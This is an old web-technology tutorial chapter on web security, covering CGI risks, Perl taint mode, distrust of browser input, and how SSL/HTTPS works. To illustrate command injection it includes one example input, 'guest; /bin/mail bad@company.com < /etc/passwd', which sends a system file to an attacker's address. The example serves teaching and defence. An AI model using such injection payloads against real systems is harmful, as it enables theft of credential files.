Jumpstart into the Web technologies: <- Prev. Start Contents References Home Next ->
Web security

Why is Web applications (CGI, Application servers etc.) the world's biggest security hole?

Some unknown person from unknown location anywhere in the world is running a program on your computer...
... If this program is doing ONLY what you think it does, you are lucky, but are you really sure if this is the case? :-)

Good real life example is the finger service gateway, which was distributed with the first versions of NCSA httpd. It just took the parameter from the form(let's say 'name') and run 'finger $name'. What happens if $name is:
'guest; /bin/mail bad@company.com < /etc/passwd' ? Whoops...

Important security questions, which should be asked:

You should build your security according to the answers to these questions. e.g. it would be probably overkill to encrypt all the users' data if all you gathering is users' nicknames. But if you have users' credit cards info, SS numbers etc. you may want to consider keeping it encrypted on your system.

Two possible positions in your security policy:

Always use 'Everything explicitly not permitted is forbidden.'!

Perl taint mode (perl -T)

If running perl with '-T' option, perl forces "taint" checks. The idea behind these checks is the following:

The way it's working is that perl keeps track of all the variables and knows, which one is tainted and which one is not. If program tries to use tainted data in an unsafe operation, program will abort. There are special ways to do the laundering of the tainted data, so each time you want to use the tainted data you need explicitely clean it. Note here, that of course you can just untaint the data, without checking, but this mechanism reminds you that you need to do the validation.

You can use Taint.pm module to work with Perl's taint mode.
More info on taint mode can be found at perlsec manpage (man perlsec).
All CGI programs should be run in a taint mode.

Do not trust the browser!

The browser is not under your control, so you can't trust it. It means the following:


Since we are sending over the Internet sensitive info, we don't want bad guys to see it if they put some sniffer in the middle. Help comes from Secure Sockets Layer (SSL). HTTPS is a secure version of HTTP, actually it's the same HTTP, but transfered over the encrypted channel of SSL. When we ask for the URL, which starts with 'https://', browser connects to the https daemon (usually on port 443) and they create the secure SSL channel over which they speak HTTP.
The way SSL works is the following:

  1. Each browser have a build-in list of the Certifying Authorities (CA).
  2. Browser connects to the server.
  3. Server sends to the browser its digital certificate, which states who this is and contains server's public encryption key. It is signed by some CA.
  4. Browser checks the certificate using the public key of the CA to ensure, that it's the right certificate.
  5. Using the server's public encryption key browser & server negotiate the session key.
  6. After the session key is agreed upon, all the data, which goes over the secure channel is encrypted with this key.
Note, that if the server's digital certificate is signed by unknown to the browser CA, it'll prompt user to manually verify if the certificate is Ok.

It's also worthwhile to note here, that HTTPS adds the load on the server and client since it adds the encryption, so it may be a good idea to use it only when you absolutely need to. For example if your site has a public press releases section, it's probably doesn't need to use HTTPS.

More info on the cryptography can be found at the Cryptography FAQ.


In many cases we need to authenticate the user. How can we do it?


More info on Web security can be found here.

Jumpstart into the Web technologies: <- Prev. Start Contents References Home Next ->

Copyright © 2000 Sergey Gribov